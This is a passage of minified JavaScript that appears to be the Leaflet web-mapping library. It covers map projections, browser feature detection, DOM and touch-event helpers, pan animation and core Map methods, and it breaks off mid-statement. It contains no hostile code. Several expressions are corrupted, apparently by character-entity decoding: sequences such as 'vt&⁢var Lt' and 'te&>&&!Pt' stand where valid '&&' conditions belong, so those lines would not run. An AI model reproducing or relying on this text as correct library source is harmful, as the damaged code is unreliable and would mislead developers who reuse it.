U(t.lat,"lng"in t?t.lng:t.lon,t.alt)}if(e===undefined){return null}return new U(t,e,i)}var F={latLngToPoint:function(t,e){var i=this.projection.project(t),n=this.scale(e);return this.transformation._transform(i,n)},pointToLatLng:function(t,e){var i=this.scale(e),n=this.transformation.untransform(t,i);return this.projection.unproject(n)},project:function(t){return this.projection.project(t)},unproject:function(t){return this.projection.unproject(t)},scale:function(t){return 256*Math.pow(2,t)},zoom:function(t){return Math.log(t/256)/Math.LN2},getProjectedBounds:function(t){if(this.infinite){return null}var e=this.projection.bounds,i=this.scale(t),n=this.transformation.transform(e.min,i),o=this.transformation.transform(e.max,i);return new O(n,o)},infinite:false,wrapLatLng:function(t){var e=this.wrapLng?h(t.lng,this.wrapLng,true):t.lng,i=this.wrapLat?h(t.lat,this.wrapLat,true):t.lat,n=t.alt;return new U(i,e,n)},wrapLatLngBounds:function(t){var e=t.getCenter(),i=this.wrapLatLng(e),n=e.lat-i.lat,o=e.lng-i.lng;if(n===0&&o===0){return t}var s=t.getSouthWest(),r=t.getNorthEast(),a=new U(s.lat-n,s.lng-o),h=new U(r.lat-n,r.lng-o);return new N(a,h)}};var G=i({},F,{wrapLng:[-180,180],R:6371e3,distance:function(t,e){var i=Math.PI/180,n=t.lat*i,o=e.lat*i,s=Math.sin((e.lat-t.lat)*i/2),r=Math.sin((e.lng-t.lng)*i/2),a=s*s+Math.cos(n)*Math.cos(o)*r*r,h=2*Math.atan2(Math.sqrt(a),Math.sqrt(1-a));return this.R*h}});var H=6378137;var W={R:H,MAX_LATITUDE:85.0511287798,project:function(t){var e=Math.PI/180,i=this.MAX_LATITUDE,n=Math.max(Math.min(i,t.lat),-i),o=Math.sin(n*e);return new B(this.R*t.lng*e,this.R*Math.log((1+o)/(1-o))/2)},unproject:function(t){var e=180/Math.PI;return new U((2*Math.atan(Math.exp(t.y/this.R))-Math.PI/2)*e,t.x*e/this.R)},bounds:function(){var t=H*Math.PI;return new O([-t,-t],[t,t])}()};function q(t,e,i,n){if(g(t)){this._a=t[0];this._b=t[1];this._c=t[2];this._d=t[3];return}this._a=t;this._b=e;this._c=i;this._d=n}q.prototype={transform:function(t,e){return this._transform(t.clone(),e)},_transform:function(t,e){e=e||1;t.x=e*(this._a*t.x+this._b);t.y=e*(this._c*t.y+this._d);return t},untransform:function(t,e){e=e||1;return new B((t.x/e-this._b)/this._a,(t.y/e-this._d)/this._c)}};function V(t,e,i,n){return new q(t,e,i,n)}var K=i({},G,{code:"EPSG:3857",projection:W,transformation:function(){var t=.5/(Math.PI*W.R);return V(t,.5,-t,.5)}()});var Y=i({},K,{code:"EPSG:900913"});function J(t){return document.createElementNS("http://www.w3.org/2000/svg",t)}function X(t,e){var i="",n,o,s,r,a,h;for(n=0,s=t.length;n<s;n++){a=t[n];for(o=0,r=a.length;o<r;o++){h=a[o];i+=(o?"L":"M")+h.x+" "+h.y}i+=e?St?"z":"x":""}return i||"M0 0"}var Q=document.documentElement.style;var $="ActiveXObject"in window;var tt=$&&!document.addEventListener;var et="msLaunchUri"in navigator&&!("documentMode"in document);var it=Et("webkit");var nt=Et("android");var ot=Et("android 2")||Et("android 3");var st=parseInt(/WebKit\/([0-9]+)|$/.exec(navigator.userAgent)[1],10);var rt=nt&&Et("Google")&&st<537&&!("AudioNode"in window);var at=!!window.opera;var ht=!et&&Et("chrome");var lt=Et("gecko")&&!it&&!at&&!$;var ut=!ht&&Et("safari");var ct=Et("phantom");var dt="OTransition"in Q;var ft=navigator.platform.indexOf("Win")===0;var pt=$&&"transition"in Q;var _t="WebKitCSSMatrix"in window&&"m11"in new window.WebKitCSSMatrix&&!ot;var mt="MozPerspective"in Q;var gt=!window.L_DISABLE_3D&&(pt||_t||mt)&&!dt&&!ct;var vt=typeof orientation!=="undefined"||Et("mobile");var yt=vt&⁢var Lt=vt&&_t;var xt=!window.PointerEvent&&window.MSPointerEvent;var wt=!!(window.PointerEvent||xt);var bt=!window.L_NO_TOUCH&&(wt||"ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch);var Pt=vt&&at;var Ct=vt&<var Mt=(window.devicePixelRatio||window.screen.deviceXDPI/window.screen.logicalXDPI)>1;var Tt=function(){var t=false;try{var e=Object.defineProperty({},"passive",{get:function(){t=true}});window.addEventListener("testPassiveEventSupport",l,e);window.removeEventListener("testPassiveEventSupport",l,e)}catch(t){}return t}();var kt=function(){return!!document.createElement("canvas").getContext}();var St=!!(document.createElementNS&&J("svg").createSVGRect);var zt=!St&&function(){try{var t=document.createElement("div");t.innerHTML='<v:shape adj="1"/>';var e=t.firstChild;e.style.behavior="url(#default#VML)";return e&&typeof e.adj==="object"}catch(t){return false}}();function Et(t){return navigator.userAgent.toLowerCase().indexOf(t)>=0}var Zt={ie:$,ielt9:tt,edge:et,webkit:it,android:nt,android23:ot,androidStock:rt,opera:at,chrome:ht,gecko:lt,safari:ut,phantom:ct,opera12:dt,win:ft,ie3d:pt,webkit3d:_t,gecko3d:mt,any3d:gt,mobile:vt,mobileWebkit:yt,mobileWebkit3d:Lt,msPointer:xt,pointer:wt,touch:bt,mobileOpera:Pt,mobileGecko:Ct,retina:Mt,passiveEvents:Tt,canvas:kt,svg:St,vml:zt};var Bt=xt?"MSPointerDown":"pointerdown";var It=xt?"MSPointerMove":"pointermove";var At=xt?"MSPointerUp":"pointerup";var Ot=xt?"MSPointerCancel":"pointercancel";var Rt={};var Nt=false;function Dt(t,e,i,n){if(e==="touchstart"){jt(t,i,n)}else if(e==="touchmove"){qt(t,i,n)}else if(e==="touchend"){Vt(t,i,n)}return this}function Ut(t,e,i){var n=t["_leaflet_"+e+i];if(e==="touchstart"){t.removeEventListener(Bt,n,false)}else if(e==="touchmove"){t.removeEventListener(It,n,false)}else if(e==="touchend"){t.removeEventListener(At,n,false);t.removeEventListener(Ot,n,false)}return this}function jt(t,e,i){var n=o((function(t){if(t.MSPOINTER_TYPE_TOUCH&&t.pointerType===t.MSPOINTER_TYPE_TOUCH){Ge(t)}Wt(t,e)}));t["_leaflet_touchstart"+i]=n;t.addEventListener(Bt,n,false);if(!Nt){document.addEventListener(Bt,Ft,true);document.addEventListener(It,Gt,true);document.addEventListener(At,Ht,true);document.addEventListener(Ot,Ht,true);Nt=true}}function Ft(t){Rt[t.pointerId]=t}function Gt(t){if(Rt[t.pointerId]){Rt[t.pointerId]=t}}function Ht(t){delete Rt[t.pointerId]}function Wt(t,e){t.touches=[];for(var i in Rt){t.touches.push(Rt[i])}t.changedTouches=[t];e(t)}function qt(t,e,i){var n=function(t){if(t.pointerType===(t.MSPOINTER_TYPE_MOUSE||"mouse")&&t.buttons===0){return}Wt(t,e)};t["_leaflet_touchmove"+i]=n;t.addEventListener(It,n,false)}function Vt(t,e,i){var n=function(t){Wt(t,e)};t["_leaflet_touchend"+i]=n;t.addEventListener(At,n,false);t.addEventListener(Ot,n,false)}var Kt=xt?"MSPointerDown":wt?"pointerdown":"touchstart";var Yt=xt?"MSPointerUp":wt?"pointerup":"touchend";var Jt="_leaflet_";function Xt(t,e,i){var n,o,s=false,r=250;function a(t){if(wt){if(!t.isPrimary){return}if(t.pointerType==="mouse"){return}}else if(t.touches.length>1){return}var e=Date.now(),i=e-(n||e);o=t.touches?t.touches[0]:t;s=i>0&&i<=r;n=e}function h(t){if(s&&!o.cancelBubble){if(wt){if(t.pointerType==="mouse"){return}var i={},r,a;for(a in o){r=o[a];i[a]=r&&r.bind?r.bind(o):r}o=i}o.type="dblclick";o.button=0;e(o);n=null}}t[Jt+Kt+i]=a;t[Jt+Yt+i]=h;t[Jt+"dblclick"+i]=e;t.addEventListener(Kt,a,Tt?{passive:false}:false);t.addEventListener(Yt,h,Tt?{passive:false}:false);t.addEventListener("dblclick",e,false);return this}function Qt(t,e){var i=t[Jt+Kt+e],n=t[Jt+Yt+e],o=t[Jt+"dblclick"+e];t.removeEventListener(Kt,i,Tt?{passive:false}:false);t.removeEventListener(Yt,n,Tt?{passive:false}:false);t.removeEventListener("dblclick",o,false);return this}var $t=me(["transform","webkitTransform","OTransform","MozTransform","msTransform"]);var te=me(["webkitTransition","transition","OTransition","MozTransition","msTransition"]);var ee=te==="webkitTransition"||te==="OTransition"?te+"End":"transitionend";function ie(t){return typeof t==="string"?document.getElementById(t):t}function ne(t,e){var i=t.style[e]||t.currentStyle&&t.currentStyle[e];if((!i||i==="auto")&&document.defaultView){var n=document.defaultView.getComputedStyle(t,null);i=n?n[e]:null}return i==="auto"?null:i}function oe(t,e,i){var n=document.createElement(t);n.className=e||"";if(i){i.appendChild(n)}return n}function se(t){var e=t.parentNode;if(e){e.removeChild(t)}}function re(t){while(t.firstChild){t.removeChild(t.firstChild)}}function ae(t){var e=t.parentNode;if(e&&e.lastChild!==t){e.appendChild(t)}}function he(t){var e=t.parentNode;if(e&&e.firstChild!==t){e.insertBefore(t,e.firstChild)}}function le(t,e){if(t.classList!==undefined){return t.classList.contains(e)}var i=fe(t);return i.length>0&&new RegExp("(^|\\s)"+e+"(\\s|$)").test(i)}function ue(t,e){if(t.classList!==undefined){var i=d(e);for(var n=0,o=i.length;n<o;n++){t.classList.add(i[n])}}else if(!le(t,e)){var s=fe(t);de(t,(s?s+" ":"")+e)}}function ce(t,e){if(t.classList!==undefined){t.classList.remove(e)}else{de(t,c((" "+fe(t)+" ").replace(" "+e+" "," ")))}}function de(t,e){if(t.className.baseVal===undefined){t.className=e}else{t.className.baseVal=e}}function fe(t){if(t.correspondingElement){t=t.correspondingElement}return t.className.baseVal===undefined?t.className:t.className.baseVal}function pe(t,e){if("opacity"in t.style){t.style.opacity=e}else if("filter"in t.style){_e(t,e)}}function _e(t,e){var i=false,n="DXImageTransform.Microsoft.Alpha";try{i=t.filters.item(n)}catch(t){if(e===1){return}}e=Math.round(e*100);if(i){i.Enabled=e!==100;i.Opacity=e}else{t.style.filter+=" progid:"+n+"(opacity="+e+")"}}function me(t){var e=document.documentElement.style;for(var i=0;i<t.length;i++){if(t[i]in e){return t[i]}}return false}function ge(t,e,i){var n=e||new B(0,0);t.style[$t]=(pt?"translate("+n.x+"px,"+n.y+"px)":"translate3d("+n.x+"px,"+n.y+"px,0)")+(i?" scale("+i+")":"")}function ve(t,e){t._leaflet_pos=e;if(gt){ge(t,e)}else{t.style.left=e.x+"px";t.style.top=e.y+"px"}}function ye(t){return t._leaflet_pos||new B(0,0)}var Le;var xe;var we;if("onselectstart"in document){Le=function(){Be(window,"selectstart",Ge)};xe=function(){Ae(window,"selectstart",Ge)}}else{var be=me(["userSelect","WebkitUserSelect","OUserSelect","MozUserSelect","msUserSelect"]);Le=function(){if(be){var t=document.documentElement.style;we=t[be];t[be]="none"}};xe=function(){if(be){document.documentElement.style[be]=we;we=undefined}}}function Pe(){Be(window,"dragstart",Ge)}function Ce(){Ae(window,"dragstart",Ge)}var Me,Te;function ke(t){while(t.tabIndex===-1){t=t.parentNode}if(!t.style){return}Se();Me=t;Te=t.style.outline;t.style.outline="none";Be(window,"keydown",Se)}function Se(){if(!Me){return}Me.style.outline=Te;Me=undefined;Te=undefined;Ae(window,"keydown",Se)}function ze(t){do{t=t.parentNode}while((!t.offsetWidth||!t.offsetHeight)&&t!==document.body);return t}function Ee(t){var e=t.getBoundingClientRect();return{x:e.width/t.offsetWidth||1,y:e.height/t.offsetHeight||1,boundingClientRect:e}}var Ze={TRANSFORM:$t,TRANSITION:te,TRANSITION_END:ee,get:ie,getStyle:ne,create:oe,remove:se,empty:re,toFront:ae,toBack:he,hasClass:le,addClass:ue,removeClass:ce,setClass:de,getClass:fe,setOpacity:pe,testProp:me,setTransform:ge,setPosition:ve,getPosition:ye,disableTextSelection:Le,enableTextSelection:xe,disableImageDrag:Pe,enableImageDrag:Ce,preventOutline:ke,restoreOutline:Se,getSizedParentNode:ze,getScale:Ee};function Be(t,e,i,n){if(typeof e==="object"){for(var o in e){Ne(t,o,e[o],i)}}else{e=d(e);for(var s=0,r=e.length;s<r;s++){Ne(t,e[s],i,n)}}return this}var Ie="_leaflet_events";function Ae(t,e,i,n){if(typeof e==="object"){for(var o in e){De(t,o,e[o],i)}}else if(e){e=d(e);for(var s=0,r=e.length;s<r;s++){De(t,e[s],i,n)}}else{for(var a in t[Ie]){De(t,a,t[Ie][a])}delete t[Ie]}return this}function Oe(){if(wt){return!(et||ut)}}var Re={mouseenter:"mouseover",mouseleave:"mouseout",wheel:!("onwheel"in window)&&"mousewheel"};function Ne(t,e,i,n){var o=e+r(i)+(n?"_"+r(n):"");if(t[Ie]&&t[Ie][o]){return this}var s=function(e){return i.call(n||t,e||window.event)};var a=s;if(wt&&e.indexOf("touch")===0){Dt(t,e,s,o)}else if(bt&&e==="dblclick"&&!Oe()){Xt(t,s,o)}else if("addEventListener"in t){if(e==="touchstart"||e==="touchmove"||e==="wheel"||e==="mousewheel"){t.addEventListener(Re[e]||e,s,Tt?{passive:false}:false)}else if(e==="mouseenter"||e==="mouseleave"){s=function(e){e=e||window.event;if(Xe(t,e)){a(e)}};t.addEventListener(Re[e],s,false)}else{t.addEventListener(e,a,false)}}else if("attachEvent"in t){t.attachEvent("on"+e,s)}t[Ie]=t[Ie]||{};t[Ie][o]=s}function De(t,e,i,n){var o=e+r(i)+(n?"_"+r(n):""),s=t[Ie]&&t[Ie][o];if(!s){return this}if(wt&&e.indexOf("touch")===0){Ut(t,e,o)}else if(bt&&e==="dblclick"&&!Oe()){Qt(t,o)}else if("removeEventListener"in t){t.removeEventListener(Re[e]||e,s,false)}else if("detachEvent"in t){t.detachEvent("on"+e,s)}t[Ie][o]=null}function Ue(t){if(t.stopPropagation){t.stopPropagation()}else if(t.originalEvent){t.originalEvent._stopped=true}else{t.cancelBubble=true}Je(t);return this}function je(t){Ne(t,"wheel",Ue);return this}function Fe(t){Be(t,"mousedown touchstart dblclick",Ue);Ne(t,"click",Ye);return this}function Ge(t){if(t.preventDefault){t.preventDefault()}else{t.returnValue=false}return this}function He(t){Ge(t);Ue(t);return this}function We(t,e){if(!e){return new B(t.clientX,t.clientY)}var i=Ee(e),n=i.boundingClientRect;return new B((t.clientX-n.left)/i.x-e.clientLeft,(t.clientY-n.top)/i.y-e.clientTop)}var qe=ft&&ht?2*window.devicePixelRatio:lt?window.devicePixelRatio:1;function Ve(t){return et?t.wheelDeltaY/2:t.deltaY&&t.deltaMode===0?-t.deltaY/qe:t.deltaY&&t.deltaMode===1?-t.deltaY*20:t.deltaY&&t.deltaMode===2?-t.deltaY*60:t.deltaX||t.deltaZ?0:t.wheelDelta?(t.wheelDeltaY||t.wheelDelta)/2:t.detail&&Math.abs(t.detail)<32765?-t.detail*20:t.detail?t.detail/-32765*60:0}var Ke={};function Ye(t){Ke[t.type]=true}function Je(t){var e=Ke[t.type];Ke[t.type]=false;return e}function Xe(t,e){var i=e.relatedTarget;if(!i){return true}try{while(i&&i!==t){i=i.parentNode}}catch(t){return false}return i!==t}var Qe={on:Be,off:Ae,stopPropagation:Ue,disableScrollPropagation:je,disableClickPropagation:Fe,preventDefault:Ge,stop:He,getMousePosition:We,getWheelDelta:Ve,fakeStop:Ye,skipped:Je,isExternalTarget:Xe,addListener:Be,removeListener:Ae};var $e=Z.extend({run:function(t,e,i,n){this.stop();this._el=t;this._inProgress=true;this._duration=i||.25;this._easeOutPower=1/Math.max(n||.5,.2);this._startPos=ye(t);this._offset=e.subtract(this._startPos);this._startTime=+new Date;this.fire("start");this._animate()},stop:function(){if(!this._inProgress){return}this._step(true);this._complete()},_animate:function(){this._animId=M(this._animate,this);this._step()},_step:function(t){var e=+new Date-this._startTime,i=this._duration*1e3;if(e<i){this._runFrame(this._easeOut(e/i),t)}else{this._runFrame(1);this._complete()}},_runFrame:function(t,e){var i=this._startPos.add(this._offset.multiplyBy(t));if(e){i._round()}ve(this._el,i);this.fire("step")},_complete:function(){T(this._animId);this._inProgress=false;this.fire("end")},_easeOut:function(t){return 1-Math.pow(1-t,this._easeOutPower)}});var ti=Z.extend({options:{crs:K,center:undefined,zoom:undefined,minZoom:undefined,maxZoom:undefined,layers:[],maxBounds:undefined,renderer:undefined,zoomAnimation:true,zoomAnimationThreshold:4,fadeAnimation:true,markerZoomAnimation:true,transform3DLimit:8388608,zoomSnap:1,zoomDelta:1,trackResize:true},initialize:function(t,e){e=f(this,e);this._handlers=[];this._layers={};this._zoomBoundLayers={};this._sizeChanged=true;this._initContainer(t);this._initLayout();this._onResize=o(this._onResize,this);this._initEvents();if(e.maxBounds){this.setMaxBounds(e.maxBounds)}if(e.zoom!==undefined){this._zoom=this._limitZoom(e.zoom)}if(e.center&&e.zoom!==undefined){this.setView(j(e.center),e.zoom,{reset:true})}this.callInitHooks();this._zoomAnimated=te&>&&!Pt&&this.options.zoomAnimation;if(this._zoomAnimated){this._createAnimProxy();Be(this._proxy,ee,this._catchTransitionEnd,this)}this._addLayers(this.options.layers)},setView:function(t,e,n){e=e===undefined?this._zoom:this._limitZoom(e);t=this._limitCenter(j(t),e,this.options.maxBounds);n=n||{};this._stop();if(this._loaded&&!n.reset&&n!==true){if(n.animate!==undefined){n.zoom=i({animate:n.animate},n.zoom);n.pan=i({animate:n.animate,duration:n.duration},n.pan)}var o=this._zoom!==e?this._tryAnimatedZoom&&this._tryAnimatedZoom(t,e,n.zoom):this._tryAnimatedPan(t,n.pan);if(o){clearTimeout(this._sizeTimer);return this}}this._resetView(t,e);return this},setZoom:function(t,e){if(!this._loaded){this._zoom=t;return this}return this.setView(this.getCenter(),t,{zoom:e})},zoomIn:function(t,e){t=t||(gt?this.options.zoomDelta:1);return this.setZoom(this._zoom+t,e)},zoomOut:function(t,e){t=t||(gt?this.options.zoomDelta:1);return this.setZoom(this._zoom-t,e)},setZoomAround:function(t,e,i){var n=this.getZoomScale(e),o=this.getSize().divideBy(2),s=t instanceof B?t:this.latLngToContainerPoint(t),r=s.subtract(o).multiplyBy(1-1/n),a=this.containerPointToLatLng(o.add(r));return this.setView(a,e,{zoom:i})},_getBoundsCenterZoom:function(t,e){e=e||{};t=t.getBounds?t.getBounds():D(t);var i=A(e.paddingTopLeft||e.padding||[0,0]),n=A(e.paddingBottomRight||e.padding||[0,0]),o=this.getBoundsZoom(t,false,i.add(n));o=typeof e.maxZoom==="number"?Math.min(e.maxZoom,o):o;if(o===Infinity){return{center:t.getCenter(),zoom:o}}var s=n.subtract(i).divideBy(2),r=this.project(t.getSouthWest(),o),a=this.project(t.getNorthEast(),o),h=this.unproject(r.add(a).divideBy(2).add(s),o);return{center:h,zoom:o}},fitBounds:function(t,e){t=D(t);if(!t.isValid()){throw new Error("Bounds are not valid.")}var i=this._getBoundsCenterZoom(t,e);return this.setView(i.center,i.zoom,e)},fitWorld:function(t){return this.fitBounds([[-90,-180],[90,180]],t)},panTo:function(t,e){return this.setView(t,this._zoom,{pan:e})},panBy:function(t,e){t=A(t).round();e=e||{};if(!t.x&&!t.y){return this.fire("moveend")}if(e.animate!==true&&!this.getSize().contains(t)){this._resetView(this.unproject(this.project(this.getCenter()).add(t)),this.getZoom());return this}if(!this._panAnim){this._panAnim=new $e;this._panAnim.on({step:this._onPanTransitionStep,end:this._onPanTransitionEnd},this)}if(!e.noMoveStart){this.fire("movestart")}if(e.animate!==false){ue(this._mapPane,"leaflet-pan-anim");var i=this._getMapPanePos().subtract(t).round();this._panAnim.run(this._mapPane,i,e.duration||.25,e.easeLinearity)}else{this._rawPanBy(t);this.fire("move").fire("moveend")}return this},flyTo:function(t,e,i){i=i||{};if(i.animate===false||!gt){return this.setView(t,e,i)}this._stop();var n=this.project(this.getCenter()),o=this.project(t),s=this.getSize(),r=this._zoom;t=j(t);e=e===undefined?r:e;var a=Math.max(s.x,s.y),h=a*this.getZoomScale(r,e),l=o.distanceTo(n)||1,u=1.42,c=u*u;function d(t){var e=t?-1:1,i=t?h:a,n=h*h-a*a+e*c*c*l*l,o=2*i*c*l,s=n/o,r=Math.sqrt(s*s+1)-s;var u=r<1e-9?-18:Math.log(r);return u}function f(t){return(Math.exp(t)-Math.exp(-t))/2}function p(t){return(Math.exp(t)+Math.exp(-t))/2}function _(t){return f(t)/p(t)}var m=d(0);function g(t){return a*(p(m)/p(m+u*t))}function v(t){return a*(p(m)*_(m+u*t)-f(m))/c}function y(t){return 1-Math.pow(1-t,1.5)}var L=Date.now(),x=(d(1)-m)/u,w=i.duration?1e3*i.duration:1e3*x*.8;function b(){var i=(Date.now()-L)/w,s=y(i)*x;if(i<=1){this._flyToFrame=M(b,this);this._move(this.unproject(n.add(o.subtract(n).multiplyBy(v(s)/l)),r),this.getScaleZoom(a/g(s),r),{flyTo:true})}else{this._move(t,e)._moveEnd(true)}}this._moveStart(true,i.noMoveStart);b.call(this);return this},flyToBounds:function(t,e){var i=this._getBoundsCenterZoom(t,e);return this.flyTo(i.center,i.zoom,e)},setMaxBounds:function(t){t=D(t);if(!t.isValid()){this.options.maxBounds=null;return this.off("moveend",this._panInsideMaxBounds)}else if(this.options.maxBounds){this.off("moveend",this._panInsideMaxBounds)}this.options.maxBounds=t;if(this._loaded){this._panInsideMaxBounds()}return this.on("moveend",this._panInsideMaxBounds)},setMinZoom:function(t){var e=this.options.minZoom;this.options.minZoom=t;if(this._loaded&&e!==t){this.fire("zoomlevelschange");if(this.getZoom()<this.options.minZoom){return this.setZoom(t)}}return this},setMaxZoom:function(t){var e=this.options.maxZoom;this.options.maxZoom=t;if(this._loaded&&e!==t){this.fire("zoomlevelschange");if(this.getZoom()>this.options.maxZoom){return this.setZoom(t)}}return this},panInsideBounds:function(t,e){this._enforcingBounds=true;var i=this.getCenter(),n=this._limitCenter(i,this._zoom,D(t));if(!i.equals(n)){this.panTo(n,e)}this._enforcingBounds=false;return this},panInside:function(t,e){e=e||{};var i=A(e.paddingTopLeft||e.padding||[0,0]),n=A(e.paddingBottomRight||e.padding||[0,0]),o=this.getCenter(),s=this.project(o),r=this.project(t),a=this.getPixelBounds(),h=a.getSize().divideBy(2),l=R([a.min.add(i),a.max.subtract(n)]);if(!l.contains(r)){this._enforcingBounds=true;var u=s.subtract(r),c=A(r.x+u.x,r.y+u.y);if(r.x<l.min.x||r.x>l.max.x){c.x=s.x-u.x;if(u.x>0){c.x+=h.x-i.x}else{c.x-=h.x-n.x}}if(r.y<l.min.y||r.y>l.max.y){c.y=s.y-u.y;if(u.y>0){c.y+=h.y-i.y}else{c.y-=h.y-n.y}}this.panTo(this.unproject(c),e);this._enforcingBounds=false}return this},invalidateSize:function(t){if(!this._loaded){return this}t=i({animate:false,pan:true},t===true?{animate:true}:t);var e=this.getSize();this._sizeChanged=true;this._lastCenter=null;var n=this.getSize(),s=e.divideBy(2).round(),r=n.divideBy(2).round(),a=s.subtract(r);if(!a.x&&!a.y){return this}if(t.animate&&t.pan){this.panBy(a)}else{if(t.pan){this._rawPanBy(a)}this.fire("move");if(t.debounceMoveend){clearTimeout(this._sizeTimer);this._sizeTimer=setTimeout(o(this.fire,this,"moveend"),200)}else{this.fire("moveend")}}return this.fire("resize",{oldSize:e,newSize:n})},stop:function(){this.setZoom(this._limitZoom(this._zoom));if(!this.options.zoomSnap){this.fire("viewreset")}return this._stop()},locate:function(t){t=this._locateOptions=i({timeout:1e4,watch:false},t);if(!("geolocation"in navigator)){this._handleGeolocationError({code:0,message:"Geolocation not supported."});return this}var e=o(this._handleGeolocationResponse,this),n=o(this._handleGeolocationError,this);if(t.watch){this._locationWatchId=navigator.geolocation.watchPosition(e,n,t)}else{navigator.geolocation.getCurrentPosition(e,n,t)}return this},stopLocate:function(){if(navigator.geolocation&&navigator.geolocation.clearWatch){navigator.geolocation.clearWatch(this._locationWatchId)}if(this._locateOptions){this._locateOptions.setView=false}return this},_handleGeolocationError:function(t){var e=t.code,i=t.message||(e===1?"permission denied":e===2?"position unavailable":"timeout");if(this._locateOptions.setView&&!this._loaded){this.fitWorld()}this.fire("locationerror",{code:e,message:"Geolocation error: "+i+"."})},_handleGeolocationResponse:function(t){var e=t.coords.latitude,i=t.coords.longitude,n=new U(e,i),o=n.toBounds(t.coords.accuracy*2),s=this._locateOptions;if(s.setView){var r=this.getBoundsZoom(o);this.setView(n,s.maxZoom?Math.min(r,s.maxZoom):r)}var a={latlng:n,bounds:o,timestamp:t.timestamp};for(var h in t.coords){if(typeof t.coords[h]==="number"){a[h]=t.coords[h]}}this.fire("locationfound",a)},addHandler:function(t,e){if(!e){return this}var i=this[t]=new e(this);this._handlers.push(i);if(this.options[t]){i.enable()}return this},remove:function(){this._initEvents(true);this.off("moveend",this._panInsideMaxBounds);if(this._containerId!==this._container._leaflet_id){throw new Error("Map container is being reused by another instance")}try{delete this._container._leaflet_id;delete this._containerId}catch(t){this._container._leaflet_id=undefined;this._containerId=undefined}if(this._locationWatchId!==undefined){this.stopLocate()}this._stop();se(this._mapPane);if(this._clearControlPos){this._clearControlPos()}if(this._resizeRequest){T(this._resizeRequest);this._resizeRequest=null}this._clearHandlers();if(this._loaded){this.fire("unload")}var t;for(t in this._layers){this._layers[t].remove()}for(t in this._panes){se(this._panes[t])}this._layers=[];this._panes=[];delete this._mapPane;delete this._renderer;return this},createPane:function(t,e){var i="leaflet-pane"+(t?" leaflet-"+t.replace("Pane","")+"-pane":""),n=oe("div",i,e||this._mapPane);if(t){this._panes[t]=n}return n},getCenter:function(){this._checkIfLoaded();if(this._lastCenter&&!this._moved()){return this._lastCenter}return this.layerPointToLatLng(this._getCenterLayerPoint())},getZoom:function(){return this._zoom},getBounds:function(){var t=this.getPixelBounds(),e=this.unproject(t.getBottomLeft()),i=this.unproject(t.getTopRight());return new N(e,i)},getMinZoom:function(){return this.options.minZoom===undefined?this._layersMinZoom||0:this.options.minZoom},getMaxZoom:function(){return this.options.maxZoom===undefined?this._layersMaxZoom===undefined?Infinity:this._layersMaxZoom:this.options.maxZoom},getBoundsZoom:function(t,e,i){t=D(t);i=A(i||[0,0]);var n=this.getZoom()||0,o=this.getMinZoom(),s=this.getMaxZoom(),r=t.getNorthWest(),a=t.getSouthEast(),h=this.getSize().subtract(i),l=R(this.project(a,n),this.project(r,n)).getSize(),u=gt?this.options.zoomSnap:1,c=h.x/l.x,d=h.y/l.y,f=e?Math.max(c,d):Math.min(c,d);n=this.getScaleZoom(f,n);if(u){n=Math.round(n/(u/100))*(u/100);n=e?Math.ceil(n/u)*u:Math.floor(n/u)*u}return Math.max(o,Math.min(s,n))},getSize:function(){if(!this._size||this._sizeChanged){this._size=new B(this._container.clientWidth||0,this._container.clientHeight||0);this._sizeChanged=false}return this._size.clone()},getPixelBounds:function(t,e){var i=this._getTopLeftPoint(t,e);return new O(i,i.add(this.getSize()))},getPixelOrigin:function(){this._checkIfLoaded();return this._pixelOrigin},getPixelWorldBounds:function(t){return this.options.crs.getProjectedBounds(t===undefined?this.getZoom():t)},getPane:function(t){return typeof t==="string"?this._panes[t]:t},getPanes:function(){return this._panes},getContainer:function(){return this._container},getZoomScale:function(t,e){var i=this.options.crs;e=e===undefined?this._zoom:e;return i.scale(t)/i.scale(e)},getScaleZoom:function(t,e){var i=this.options.crs;e=e===undefined?this._zoom:e;var n=i.zoom(t*i.scale(e));return isNaN(n)?Infinity:n},project:function(t,e){e=e===undefined?this._zoom:e;return this.options.crs.latLngToPoint(j(t),e)},unproject:function(t,e){e=e===undefined?this._zoom:e;return this.options.crs.pointToLatLng(A(t),e)},layerPointToLatLng:function(t){var e=A(t).add(this.getPixelOrigin());return this.unproject(e)},latLngToLayerPoint:function(t){var e=this.project(j(t))._round();return e._subtract(this.getPixelOrigin())},wrapLatLng:function(t){return this.options.crs.wrapLatLng(j(t))},wrapLatLngBounds:function(t){return this.options.crs.wrapLatLngBounds(D(t))},distance:function(t,e){return this.options.crs.distance(j(t),j(e))},containerPointToLayerPoint:function(t){return A(t).subtract(this._getMapPanePos())},layerPointToContainerPoint:function(t){return A(t).add(this._getMapPanePos())},containerPointToLatLng:function(t){var e=this.containerPointToLayerPoint(A(t));return this.layerPointToLatLng(e)},latLngToContainerPoint:function(t){return this.layerPointToContainerPoint(this.latLngToLayerPoint(j(t)))},mouseEventToContainerPoint:function(t){return We(t,this._container)},mouseEventToLayerPoint:function(t){return this.containerPointToLayerPoint(this.mouseEventToContainerPoint(t))},mouseEventToLatLng:function(t){return this.layerPointToLatLng(this.mouseEventToLayerPoint(t))},_initContainer:function(t){var e=this._container=ie(t);if(!e){throw new Error("Map container not found.")}else if(e._leaflet_id){throw new Error("Map container is already initialized.")}Be(e,"scroll",this._onScroll,this);this._containerId=r(e)},_initLayout:function(){var t=this._container;this._fadeAnimated=this.options.fadeAnimation&>ue(t,"leaflet-container"+(bt?" leaflet-touch":"")+(Mt?" leaflet-retina":"")+(tt?" leaflet-oldie":"")+(ut?" leaflet-safari":"")+(this._fadeAnimated?" leaflet-fade-anim":""));var e=ne(t,"position");if(e!=="absolute"&&e!=="relative"&&e!=="fixed"){t.style.position="relative"}this._initPanes();if(this._initControlPos){this._initControlPos()}},_initPanes:function(){var t=this._panes={};this._paneRenderers={};this._mapPane=this.createPane("mapPane",this._container);ve(this._mapPane,new B(0,0));this.createPane("tilePane");this.createPane("shadowPane");this.createPane("overlayPane");this.createPane("markerPane");this.createPane("tooltipPane");this.createPane("popupPane");if(!this.options.markerZoomAnimation){ue(t.markerPane,"leaflet-zoom-hide");ue(t.shadowPane,"leaflet-zoom-hide")}},_resetView:function(t,e){ve(this._mapPane,new B(0,0));var i=!this._loaded;this._loaded=true;e=this._limitZoom(e);this.fire("viewprereset");var n=this._zoom!==e;this._moveStart(n,false)._move(t,e)._moveEnd(n);this.fire("viewreset");if(i){this.fire("load")}},_moveStart:function(t,e){if(t){this.fire("zoomstart")}if(!e){this.fire("movestart")}return this},_move:function(t,e,i){if(e===undefined){e=this._zoom}var 